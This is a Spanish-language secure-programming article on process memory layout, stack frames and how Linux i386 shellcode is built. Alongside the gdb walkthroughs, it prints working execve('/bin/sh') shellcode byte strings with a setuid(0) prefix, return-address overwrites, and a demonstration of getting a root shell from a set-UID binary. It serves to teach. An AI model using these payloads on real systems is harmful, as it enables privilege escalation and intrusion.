|
|
Este documento está disponible en los siguientes idiomas: English Castellano Deutsch Francais Nederlands Russian Turkce Korean |
por Frédéric Raynal, Christophe Blaess, Christophe Grenier <pappy(at)users.sourceforge.net, ccb(at)club-internet.fr, grenier(at)nef.esiea.fr> Sobre el autor: Christophe Blaess es un ingeniero en aeronáutica independiente. Es un aficionado a Linux y mucho de su trabajo lo hace en este sistema.Coordina la traduccion de las páginas del manual que se publican en el Linux Documentation Project. Christophe Grenier es un estudiante del 5to. año en ESIEA, donde también trabaja como administrador de sistemas. Es un apasionado de la seguridad en cómputo. Frédéric Raynal ha usado Linux por muchos años porque no contamina, no usa hormonas, ni GMO , tampoco grasa animal ... solamente sudor y trucos. Taducido al español por: Victor Manuel Campos Campos <victor_inmx(at)yahoo.com.mx> Contenidos:
|
Resumen:
Esta serie de artículos tratan de enfatizar los principales agujeros de seguridad que pueden aparecer dentro de las aplicaciones. Muestra maneras de evitar estos agujeros cambiando un poco los hábitos de desarrollo.
Este artículo se enfoca en la organización y de la memoria, y explica la relación entre una función y la memoria. La última sección muestra cómo construir shellcode.
Generalmente esto no es todo, pero solamente nos enfocamos en las partes que son mas importantes para este artículo.
La orden size -A file --radix 16 devuelve el tamaño de cada área reservada al compilar. De ahí obtenemos sus direcciones de memoria (también puede usarse la orden objdump para obtener esta información). Aquí está la salida de size para un binario llamado "fct":
El área de texto contiene las instrucciones del programa. Esta área es de solo-lectura. Se comparte entre cada proceso que ejecuta el mismo binario. Al intentar escribir en esta área se genera un error segmentation violation .>>size -A fct --radix 16 fct : section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x30 0x8048128 .dynsym 0x70 0x8048158 .dynstr 0x7a 0x80481c8 .gnu.version 0xe 0x8048242 .gnu.version_r 0x20 0x8048250 .rel.got 0x8 0x8048270 .rel.plt 0x20 0x8048278 .init 0x2f 0x8048298 .plt 0x50 0x80482c8 .text 0x12c 0x8048320 .fini 0x1a 0x804844c .rodata 0x14 0x8048468 .data 0xc 0x804947c .eh_frame 0x4 0x8049488 .ctors 0x8 0x804948c .dtors 0x8 0x8049494 .got 0x20 0x804949c .dynamic 0xa0 0x80494bc .bss 0x18 0x804955c .stab 0x978 0x0 .stabstr 0x13f6 0x0 .comment 0x16e 0x0 .note 0x78 0x8049574 Total 0x23c8
Antes de explicar las otras áreas, recordemos algunas cosas acerca de variables en C. Las variables global son usadas en el programa completo mientras que las variables locales son usadas solamente dentro de la función donde son declaradas. Las variables static tienen un tamaño conocido dependiendo del tipo con que son declaradas. Los tipos pueden ser char, int, double, pointers, etc. En una máquina tipo PC, un apuntador representa una dirección entera de 32 bits dentro de la memoria. Obviamente, el tamaño del área apuntada se desconoce durante la compilación. Una variable dynamic representa un área de memoria explícitamente reservada - realmente es un apuntador que apunta a una dirección de memoria reservada. Las variables global/local, static/dynamic pueden combinarse sin problemas.
Regresemos a la organización de la memoria para un proceso dado. El área de data almacena los datos estáticos globales inicializados (el valor es proporcionado en el momento de la compilación), mientras que el segmento bss contiene los datos globales no inicializados. Estas áreas se reservan en el momento de la compilación dado que su tamaño se define de acuerdo con los objetos que contienen.
¿Qué hay acerca de variables dinámicas y locales? Se agrupan en un área de memoria reservada para la ejecución del programa (user stack frame). Dado que las funciones pueden invocarse recursivamente, no se conoce con anticipación el número de instacias de una variable local. Al crearse serán colocadas en la pila o stack. Esta pila se encuentra hasta arriba de las direcciones mas altas dentro del espacio de direcciones del usuario, y trabaja de acuerdo con un modelo LIFO (Last In, First Out). El fondo del área del marco del usuario o user frame se usa para la colocación de variables dinámicas. A esta área se le llama heap : contiene las áreas de memoria direccionadas por apuntadores y variables dinámicas. Al declararse, un apuntador es una variable de 32 bits, ya sea en BSS o en la pila, y no apunta a alguna dirección válida. Cuando un proceso obtiene memoria (i.e. usando malloc) la dirección del primer byte de esa memoria (también un número de 32 bits) es colocado en el apuntador.
El depurador gdb confirma todo esto./* mem.c */ int index = 1; //in data char * str; //in bss int nothing; //in bss void f(char c) { int i; //in the stack /* Reserves 5 characters in the heap */ str = (char*) malloc (5 * sizeof (char)); strncpy(str, "abcde", 5); } int main (void) { f(0); }
Pongamos un punto de rompimiento (breakpoint) en la función f() y ejecutemos el programa hasta este punto :>>gdb mem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb)
Ahora podemos ver el lugar de las diferentes variables.(gdb) list 7 void f(char c) 8 { 9 int i; 10 str = (char*) malloc (5 * sizeof (char)); 11 strncpy (str, "abcde", 5); 12 } 13 14 int main (void) (gdb) break 12 Breakpoint 1 at 0x804842a: file mem.c, line 12. (gdb) run Starting program: mem Breakpoint 1, f (c=0 '\000') at mem.c:12 12 }
La orden en 1 (print &index) muestra la dirección de memoria para la variable global index. La segunda instrucción (info) proporciona el símbolo asociado a esta dirección y el lugar en la memoria donde puede ser encontrado : index, una variable estática global inicializada esta almacenada en el área data.1. (gdb) print &index $1 = (int *) 0x80494a4 2. (gdb) info symbol 0x80494a4 index in section .data 3. (gdb) print ¬hing $2 = (int *) 0x8049598 4. (gdb) info symbol 0x8049598 nothing in section .bss 5. (gdb) print str $3 = 0x80495a8 "abcde" 6. (gdb) info symbol 0x80495a8 No symbol matches 0x80495a8. 7. (gdb) print &str $4 = (char **) 0x804959c 8. (gdb) info symbol 0x804959c str in section .bss 9. (gdb) x 0x804959c 0x804959c <str>: 0x080495a8 10. (gdb) x/2x 0x080495a8 0x80495a8: 0x64636261 0x00000065
Las instrucciones 3 y 4 confirman que la variable estática no inicializada nothing puede ser encontrada en el segmento BSS.
La línea 5 despliega str ... de hecho el contenido de la variable str, o sea la dirección 0x80495a8. La instrucción 6 muestra que no se ha definido una variable en esta dirección. La orden 7 nos permite obtener la dirección de la variable str y la orden 8 indica que puede ser encontrada en el segmento BSS.
En la 9, los 4 bytes desplegados corresponden al contenido de la memoria en la dirección 0x804959c : es una dirección reservada dentroi del heap. El contenido de la 10 muestra nuestra cadena "abcde" :
Las variables locales c e i estan colocadas en la pila.hexadecimal value : 0x64 63 62 61 0x00000065 character : d c b a e
Observamos que el tamaño devuelto por la orden size para las diferentes áreas no corresponde con lo que esperabamos al seguir nuestro programa. La razón es que aparecen otras variables diferentes declaradas en bibliotecas al ejecutar el programa (variables tipo info bajo gdb para generalizar).
La dirección de una variable local dentro de la pila podría expresarse como un relativo a %esp. Sin embargo, siempre se estan agregando o quitando elementos a la pila, entonces el offeset de cada variable necesitaría ser reajustado y eso es muy ineficiente. El uso de un segundo apuntador permite mejorar eso : %ebp (extended base pointer) contiene la dirección de inicio del ambiente de la función actual. Así, es suficiente con expresar el offset relacionado con este registro. Permanece constante mientras se ejecuta la función. Ahora es fácil encontrar los parámetros y variables locales dentro de las funciones.
La unidad básica de la pila es la palabra o word : en CPU's i386 es de 32 bits, es decir 4 bytes. Esto es diferente en otras arquitecturas. En CPU's Alpha una palabra es de 64 bits. La pila solamente maneja palabras, lo que significa que cada variable colocada usa el mismo tamaño de palabra. Veremos esto con mas detalle en la descripción de una función prolog. El despliegue del contenido de la variable str usando gdb en el ejemplo anterior lo ilustra. la orden gdbx despliega una palabra completa de 32 bits (se lee de izquierda a derecha ya que es una representación little endian).
La pila es generalmente manipulada con solo dos instrucciones de cpu :
La primera 'e' que aparece en el nombre de los registros significa "extended" e indica la evolución entre las viejas arquitecturas de 16 bits y las actuales de 32 bits.
Los registros pueden dividirse en 4 categorías :
El propósito de esta sección es explicar el comportamiento de las funciones de arriba tomando en cuenta la pila y los registros. Algunosa ataques tratan de cambiar la manera en que se ejecuta un programa. Para entenderlos, es útil conocer lo que sucede normalmente./* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); }
La ejecución de una función se divide en tres pasos :
Estas tres instrucciones constituyen lo que se conoce como el prólogo (prolog). El diagrama 1 detalla la manera en que trabaja la función de prolog toto() explicando las partes de los registros %ebp and %esp :push %ebp mov %esp,%ebp push $0xc,%esp //$0xc depends on each program
Inicialmente, %ebp apunta en la memoria a cualquier dirección X. %esp está mas abajo en la pila, en la dirección Y y apunta a la última entrada de la pila. Al iniciar una función, se debe salvar el "ambiente actual", es decir %ebp. Dado que se coloca %ebp dentro de la pila, %esp se decrementa por una palabra de memoria. | |
Esta segunda instrucción permite construir un nuevo "ambiente", colocando a %ebp en la cima de la pila. Entonces %ebp y %esp apuntan a la misma palabra de memoria que contiene la dirección del ambiente previo. | |
Ahora tiene que reservarse el espacio de pila para las variables locales. El arreglo de caracteres es definido con 5 elementos y necesita 5 bytes (un char es un byte). Sin embargo la pila solo maneja words, y solo puede reservar múltiplos de un word (1 word, 2 words, 3 words, ...). Para almacenar 5 bytes en el caso de un word de 4 bytes, se deben usar 8 bytes (es decir 2 words). La parte en gris podría usarse, aún cuando realmente no es parte de la cadena. El entero k usa 4 bytes. Este espacio es reservado decrementando 0xc (12 in hexadecimal) al valor de %esp . Las variables locales usan 8+4=12 bytes (i.e. 3 words). |
Además del mecanismo mismo, lo importante a recordar aquí es la posición de las variables locales : las variables locales tienen un offset negativo en relación con %ebp. La instrucción i=0 en la función main() ilustra esto. El código de ensamblador (cf. debajo) usa direccionamiento indirecto para accesar a la variable i :
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)El hexadecimal 0xfffffffc representa el entero -4. La notación indica colocar el valor 0 en la variable que se encuentra a "-4 bytes" en relación con el registro %ebp. i es la primera y única variable en la función main(), por tanto su dirección está 4 bytes (i.e. tamaño entero) "debajo" del registro %ebp.
Como ejemplo, tomemos la llamada a toto(1, 2).
Antes de llamar a una función, se almacenan en la pila los argumentos que necesita. En nuesro ejemplo, los dos enteros constante 1 y 2 se almacenan en la pila primero, comenzando con el último. El registro %eip contiene la dirección de la siguiente instrucción a ejecutar, en este caso la llamada a la función. | |
Al ejecutar la instrucción call, %eip toma
el valor de la dirección de la siguiente instrucción que
se encuentra 5 bytes después (call es una instrucción
de 5 byte - cada instrucción no usa el mismo espacio, dependiendo
del CPU). Entonces
call guarda la dirección contenida en
%eip
para poder regresar a la ejecución después de correr la función.
Este "respaldo" se hace con una instrucción implícita que
guarda el registro en la pila :
push %eipEl valor dado a call como un argumento corresponde a a dirección de la primera instrucción del prólogo de la función toto(). Entonces esta dirección es copiada a %eip, así se convierte en la siguiente instrucción a ejecutar. |
Una vez que estamos en el cuerpo de la función, sus argumentos y la dirección de regreso tienen un offset positivo en relación a %ebp, ya que la siguiente instrucción coloca a este registro en la cima de la pila. La instrucción j=0 en la función toto() ilustra esto. El código Ensamblador otra vez usa direccionamiento indirecto para accesar a j :
0x80483ed <toto+29>: movl $0x0,0xc(%ebp)El hexadecimal 0xc representa el entero +12. La notación indica colocar el valor 0 en la variable que se encuentra "+12 bytes" en relación al registro %ebp. j es el segundo argumento de la función y se encuentra 12 bytes "arriba" del registro %ebp (4 para el respaldo del apuntador de instrucción, 4 para el primer argumento y 4 para el segundo argumento - cf. el primer diagrama en la sección regreso)
El primer paso se hace dentro de la función con las instrucciones :
La siguiente se realiza dentro de la función donde se hizo la llamada y consiste en limpiar de la pila los argumentos de la función llamada.leave ret
Tomemos el ejemplo anterior de la función toto().
Aquí describimos la situación inicial antes de la llamada y el prólogo. Antes de la llamada, , %ebp estaba en la dirección X y %esp en la dirección Y . >A partir de ahí colocamos en la pila los argumentos de la función, guradammos %eip y %ebp y reservamos algo de espacio para nuestras variables locales. La siguiente instrucción ejecutada será leave. | |
La instrucción leave es equivalente a la secuencia
:
La primera regresa a %esp y %ebp al mismo lugar en la pila. La segunda coloca la cima de la pila en el registro %ebp. Con solamente una instrucción (leave), la pila está como habría estado sin el prólogo.mov ebp esp pop ebp |
|
La instrucción ret restaura %eip de tal manera
que la ejecución de la función que hizo la llamada, inicia
de nuevo donde debería, es decir después de la función
que estamos terminando. Por esto, es suficiente con tomar el contenido
de la cima de la pila y colocarlo en %eip.
Aún no estamos en la situación inicial ya que los argumentos de la función todavía estan en la pila. La siguiente instrucción será quitarlos, representada con su dirección Z+5 en %eip (notemos que el direccionamiento de instrucción se incrementa, al contrario de lo que sucede con la pila). |
|
La colocación de parámetros en la pila se hace en la función que hace la llamada, lo mismo sucede con la remoción de ellos de la pila. Esto se ilustra en el diagrama opuesto con el separador entre las instrucciones en la función llamaday el add 0x8, %esp en la función que la llama. Esta instrucción regresa a la cima de la pila tantos bytes como parámetros usados por la función toto(). Los registros %ebp y %esp estan ahora en la situación que estaban antes de la llamada. Por otro lado, el regsitro de instrucción %eip se movió hacia arriba. |
Las instrucciones sin color corresponden a las instrucciones de nuestro programa, como asignaciones para instancias.>>gcc -g -o fct fct.c >>gdb fct GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main //main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp //prolog 0x80483f9 <main+1>: mov %esp,%ebp 0x80483fb <main+3>: sub $0x4,%esp 0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp) 0x8048405 <main+13>: push $0x2 //call 0x8048407 <main+15>: push $0x1 0x8048409 <main+17>: call 0x80483d0 <toto> 0x804840e <main+22>: add $0x8,%esp //return from toto() 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) 0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax 0x804841b <main+35>: push %eax //call 0x804841c <main+36>: push $0x8048486 0x8048421 <main+41>: call 0x8048308 <printf> 0x8048426 <main+46>: add $0x8,%esp //return from printf() 0x8048429 <main+49>: leave //return from main() 0x804842a <main+50>: ret End of assembler dump. (gdb) disassemble toto //toto Dump of assembler code for function toto: 0x80483d0 <toto>: push %ebp //prolog 0x80483d1 <toto+1>: mov %esp,%ebp 0x80483d3 <toto+3>: sub $0xc,%esp 0x80483d6 <toto+6>: mov 0x8048480,%eax 0x80483db <toto+11>: mov %eax,0xfffffff8(%ebp) 0x80483de <toto+14>: mov 0x8048484,%al 0x80483e3 <toto+19>: mov %al,0xfffffffc(%ebp) 0x80483e6 <toto+22>: movl $0x3,0xfffffff4(%ebp) 0x80483ed <toto+29>: movl $0x0,0xc(%ebp) 0x80483f4 <toto+36>: jmp 0x80483f6 <toto+38> 0x80483f6 <toto+38>: leave //return from toto() 0x80483f7 <toto+39>: ret End of assembler dump.
En artículos posteriores hablaremos de mecanismos usados para la ejecución de instrucciones. Aquí iniciamos estudiando el código mismo, el que queremos ejecutar desde la aplicación principal. La solución mas simple es con un pedazo de código que corra un shell. Entonces el lector puede realizar otras acciones como cambiar los permisos del archivo /etc/passwd. Por razones que mas adelante resultarán obvias, este programa debe hacerse en lenguaje Ensamblador. Este tipo de programa pequeño que se usa para ejecutar un shell se conoce como código shell o shellcode.
Los ejemplos mencionados estan inspirados en el articulo de Aleph One' "Smashing the Stack for Fun and Profit" del número 49 de la revista Phrack.
/* shellcode1.c */ #include <stdio.h> #include <unistd.h> int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); return (0); }Entre el conjunto de funciones capaces de llamar a un shell, hay muchas razones que recomiendan el usro de execve(). Primero, es una verdadera llamada a sistema, a diferencia de las otras funciones de la familia exec(), que son en realidad funciones de la biblioteca GlibC construidas a partir de execve(). Una llamada a sistema se hace mediante una interrupción. Basta con definir los registros y sus contenidos para obtener un pequeño código Ensamblador efectivo.
Aún mas, si execve() tiene éxito, el programa que hace la llamada (en este caso la aplicación principal) es sustituido por el código ejecutable del nuevo programa e inicia su ejecución. Cuando la llamada a execve()falla, continua la ejecución del programa. En nuestro ejemplo, el código fue insertado en la mitad de la aplicación atacada. Continuar con la ejecución no tendría sentido e incluso podría ser desastroso. Por tanto, la ejecución debe terminar tan pronto como sea posible. Una sentencia return (0) permite salir de un programa solamente cuando es llamada desde la función main(), lo cuál no ocurre aquí. Entonces debemos forzar la terminación mediante la función exit().
/* shellcode2.c */ #include <stdio.h> #include <unistd.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); exit (0); }De hecho, exit() es otra función de la biblioteca que envuelve a la llamada al sistema _exit(). Un nuevo cambio nos lleva aún mas cerca del sistema :
/* shellcode3.c */ #include <unistd.h> #include <stdio.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); _exit(0); }Ahora, es momento de comparar nuestro programa con su equivalente Ensamblador.
$ gcc -o shellcode3 shellcode3.c -O2 -g --staticLuego, con gdb, buscamos nuestras funciones equivalentes en Ensamblador. Esto es para Linux en plataforma Intel (i386 y posteriores).
$ gdb shellcode3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...Le pedimos a gdb que liste el código Ensamblador, más particularmente la función main().
(gdb) disassemble main Dump of assembler code for function main: 0x8048168 <main>: push %ebp 0x8048169 <main+1>: mov %esp,%ebp 0x804816b <main+3>: sub $0x8,%esp 0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp) 0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x804817c <main+20>: mov $0x8071ea8,%edx 0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp) 0x8048184 <main+28>: push $0x0 0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax 0x8048189 <main+33>: push %eax 0x804818a <main+34>: push %edx 0x804818b <main+35>: call 0x804d9ac <__execve> 0x8048190 <main+40>: push $0x0 0x8048192 <main+42>: call 0x804d990 <_exit> 0x8048197 <main+47>: nop End of assembler dump. (gdb)Las llamadas a funciones en las direcciones 0x804818b y 0x8048192 invocan a las subrutinas de la biblioteca de C que contienen las llamadas reales al sistema. Note que la instrucción 0x804817c : mov $0x8071ea8,%edx llena el registro %edx con un valor que parece una dirección. Examinemos el contenido de la memoria de esta dirección, desplegándola como una cadena :
(gdb) printf "%s\n", 0x8071ea8 /bin/sh (gdb)Ahora sabemos dónde está la cadena.Echémos un vistazo a el listado de desensamblado de las funciones execve() y _exit() :
(gdb) disassemble __execve Dump of assembler code for function __execve: 0x804d9ac <__execve>: push %ebp 0x804d9ad <__execve+1>: mov %esp,%ebp 0x804d9af <__execve+3>: push %edi 0x804d9b0 <__execve+4>: push %ebx 0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi 0x804d9b4 <__execve+8>: mov $0x0,%eax 0x804d9b9 <__execve+13>: test %eax,%eax 0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22> 0x804d9bd <__execve+17>: call 0x0 0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx 0x804d9c8 <__execve+28>: push %ebx 0x804d9c9 <__execve+29>: mov %edi,%ebx 0x804d9cb <__execve+31>: mov $0xb,%eax 0x804d9d0 <__execve+36>: int $0x80 0x804d9d2 <__execve+38>: pop %ebx 0x804d9d3 <__execve+39>: mov %eax,%ebx 0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx 0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63> 0x804d9dd <__execve+49>: call 0x8048c84 <__errno_location> 0x804d9e2 <__execve+54>: neg %ebx 0x804d9e4 <__execve+56>: mov %ebx,(%eax) 0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx 0x804d9eb <__execve+63>: mov %ebx,%eax 0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804d9f0 <__execve+68>: pop %ebx 0x804d9f1 <__execve+69>: pop %edi 0x804d9f2 <__execve+70>: leave 0x804d9f3 <__execve+71>: ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804d990 <_exit>: mov %ebx,%edx 0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804d996 <_exit+6>: mov $0x1,%eax 0x804d99b <_exit+11>: int $0x80 0x804d99d <_exit+13>: mov %edx,%ebx 0x804d99f <_exit+15>: cmp $0xfffff001,%eax 0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error> End of assembler dump. (gdb) quitLa llamada real al kernel se hace mediante la interrupción 0x80, en la dirección 0x804d9d0 para execve() y en 0x804d99b para _exit(). Este punto es común para varias llamadas al sistema, así que la distinción se hace con el contenido del registro %eax. Respecto a execve(), tiene el valor 0x0B, mientras que _exit() tiene el 0x01.
El análisis de las instrucciones de estas funciones en Ensamblador nos proporcionan los parámetros que usan :
Cuando se llama a una subrutina con la instrucción call, el CPU almacena la dirección de regreso en la pila, que es la dirección que sigue inmediatamente a esta insrucción call (ver arriba). Generalmente el paso siguiente es almacenar el estado de la pila (especialemente el registro %ebp con la instrucción push %ebp). Para obtener la dirección de regreso al arrancar a subrutina, basta con sacar el elemento de la cima de la pila mediante la instrucción pop. Por supuesto, entonces se almacena la cadena "/bin/sh" inmediatamente después de la instrucción call para permitir que el "prólogo hecho en casa" proporcione la requerida dirección de la cadena. Es decir :
beginning_of_shellcode: jmp subroutine_call subroutine: popl %esi ... (Shellcode itself) ... subroutine_call: call subroutine /bin/shPor supuesto, la subrutina no es real: la llamada a execve() tiene éxito, y el proceso es sustituido por un shell, o falla y la función _exit() termina el programa. El registro %esi proporciona la dirección de la cadena "/bin/sh". Entonces, es suficiente para construir el arreglo poniéndolo exactamente después de la cadena : su primer elemento (en %esi+8, la longitud de /bin/sh + un byte null) contiene el valor del registro %esi, y su segundo elemento en %esi+12 una dirección null (32 bit). El código se verá así :
popl %esi movl %esi, 0x8(%esi) movl $0x00, 0xc(%esi)El diagrama 6 muestra el área de datos :
movl $0x00, 0x0c(%esi)será sustituida con
xorl %eax, %eax movl %eax, %0x0c(%esi)Este ejemplo muestra el uso de un byte null. Sin embargo las traducción de algunas instrucciones a hexadecimal pueden revelar bytes null. Por ejemplo, para hacer la distinción entre la llamada a sistema _exit(0) y otras, el valor del registro %eax es 1, como se ve en
0x804d996 <_exit+6>: mov $0x1,%eax
Convertida a decimal, esta cadena se convierte en :
b8 01 00 00 00 mov $0x1,%eaxDebe evitarse su uso. De hecho, el truco es inicializar el registro %eax con un valor de 0 e incrementarlo.
Por otro lado, la cadena "/bin/sh" debe terminar con un byte null. Puede escribirse al crear el código shell, pero, dependiendo del mecanismo usado para insertarlo en un programa, este byte null puede no estar presente en el final de la aplicación. Es mejor agregar uno de esta manera :
/* movb solamente trabaja sobre un byte */ /* esta instrucción es equivalente a */ /* movb %al, 0x07(%esi) */ movb %eax, 0x07(%esi)
/* shellcode4.c */ int main() { asm("jmp subroutine_call subrutina: /* obtenemos la dirección de /bin/sh*/ popl %esi /* la escribimos como primer elemento del arreglo */ movl %esi,0x8(%esi) /* escribimos NULL como segundo elemento del arreglo */ xorl %eax,%eax movl %eax,0xc(%esi) /* colocamos el byte null al final de la cadena */ movb %eax,0x7(%esi) /* función execve() */ movb $0xb,%al /* colocamos en %ebx la cadena que será ejecutada*/ movl %esi, %ebx /* colocamos en %ecx el arreglo de argumentos*/ leal 0x8(%esi),%ecx /* colocamos en %edx el ambiente del arreglo*/ leal 0xc(%esi),%edx /* System-call */ int $0x80 /* Null return code */ xorl %ebx,%ebx /* _exit() function : %eax = 1 */ movl %ebx,%eax inc %eax /* System-call */ int $0x80 subroutine_call: subroutine_call .string \"/bin/sh\" "); }El código se compila con "gcc -o shellcode4 shellcode4.c". La orden "objdump --disassemble shellcode4" asegura que nuestro binario no contiene mas bytes null :
08048398 <main>: 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: eb 1f jmp 80483bc <subroutine_call> 0804839d <subroutine>: 804839d: 5e popl %esi 804839e: 89 76 08 movl %esi,0x8(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 89 46 0c movb %eax,0xc(%esi) 80483a6: 88 46 07 movb %al,0x7(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 08 leal 0x8(%esi),%ecx 80483b0: 8d 56 0c leal 0xc(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 080483bc <subroutine_call>: 80483bc: e8 dc ff ff ff call 804839d <subroutine> 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14> 80483c8: 00 c9 addb %cl,%cl 80483ca: c3 ret 80483cb: 90 nop 80483cc: 90 nop 80483cd: 90 nop 80483ce: 90 nop 80483cf: 90 nopLos datos encontrados después de la dirección 80483c1 no representan instrucciones, sino los caracteres de la cadena "/bin/sh" (en hexadécimal, la secuencia 2f 62 69 6e 2f 73 68 00) y bytes aleatorios. El código no contiene ceros, excepto el caracter null al final de la cadena en 80483c8.
Ahora, probemos nuestro programa :
$ ./shellcode4 Segmentation fault (core dumped) $Ooops! No muy concluyente. Si lo pensamos un poco, podemos ver que el área de memoria donde se encuentra la función main() (i.e. el área text mencionada al comienzo de este artículo) es read-only. El código shell no puede modificarlo ¿Qué podemos hacer ahora para probar nuestro código shell?
Para salvar el problema read-only, debe colocarse el código shell en un área de datos. Pongámoslo en un arreglo declarado como una variable global. Debemos usar otro truco para poder ejecutar el código shell. Sustituyamos la dirección de regreso de la función main() que se encuentra en la pila con la dirección del arreglo que contiene el código shell. No olvidemos que la función main es una rutina "standard", llamada por pedazos de código que el ligador agrega. La dirección de retorno se sobreescribe al escribir el arreglo de caracteres dos lugares mas abajo de la primera posición de la pila.
/* shellcode5.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; /* +2 se comportará como un offset de 2 words */ /* (i.e. 8 bytes) en la cima de la pila : */ /* - el primero para la palabra reservada para la variable local */ /* - el segundo para el registro guardado %ebp */ * ((int *) & ret + 2) = (int) shellcode; return (0); }Ahora podemos probar nuestro código shell :
$ cc shellcode5.c -o shellcode5 $ ./shellcode5 bash$ exit $Incluso podemos instalar el programa shellcode5 Set-UID root, y checar que el shell arrancado con la data manejada por este programa, se ejecuta bajo la identidad de root :
$ su Password: # chown root.root shellcode5 # chmod +s shellcode5 # exit $ ./shellcode5 bash# whoami root bash# exit $
/* shellcode5bis.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }arreglamos el proceso efectivo de UID a su valor real UID, como lo sugerimos en el artículo anterior. Esta vez, el shell se corre sin privilegios específicos :
$ su Password: # chown root.root shellcode5bis # chmod +s shellcode5bis # exit $ ./shellcode5bis bash# whoami pappy bash# exit $Sin embargo, las instrucciones seteuid(getuid()) no son una protección muy efectiva. Solamente se necesita insertar la llamada equivaente setuid(0); al inicio del código shell para obtener los derechos ligados a una EUID inicial para una aplicación S-UID.
Este código de instrucción es :
char setuid[] = "\x31\xc0" /* xorl %eax, %eax */ "\x31\xdb" /* xorl %ebx, %ebx */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80";Integrándolo al código shell anterior, el ejemplo se convierte en :
/* shellcode6.c */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }Veamos cómo trabaja :
$ su Password: # chown root.root shellcode6 # chmod +s shellcode6 # exit $ ./shellcode6 bash# whoami root bash# exit $Como se muestra en este ejemplo, es posible agregar funciones a un código shell, por ejemplo para dejar el directorio impuesto por la función chroot() o para abrir un shell remoto usando un socket.
Tales cambios parecen implicar que se puede adaptar el valor de algunos
bytes en el código shell de acuerdo con su uso :
eb XX | <subroutine_call> | XX = número de bytes para alcanzar <subroutine_call> |
<subroutine>: | ||
5e | popl %esi | |
89 76 XX | movl %esi,XX(%esi) | XX = posición del primer elemento en el arreglo de argumentos (i.e. la dirección de la orden). Este offset es igual al número de caracteres en la orden, incluido '\0'. |
31 c0 | xorl %eax,%eax | |
89 46 XX | movb %eax,XX(%esi) | XX = posición del segundo elemento en el arreglo , aquí, conteniendo un valor NULL. |
88 46 XX | movb %al,XX(%esi) | XX = posición del final de la cadena '\0'. |
b0 0b | movb $0xb,%al | |
89 f3 | movl %esi,%ebx | |
8d 4e XX | leal XX(%esi),%ecx | XX = offset para alcanzar el primer elemento en el arreglo de argumentos y ponerlo en el registro %ecx |
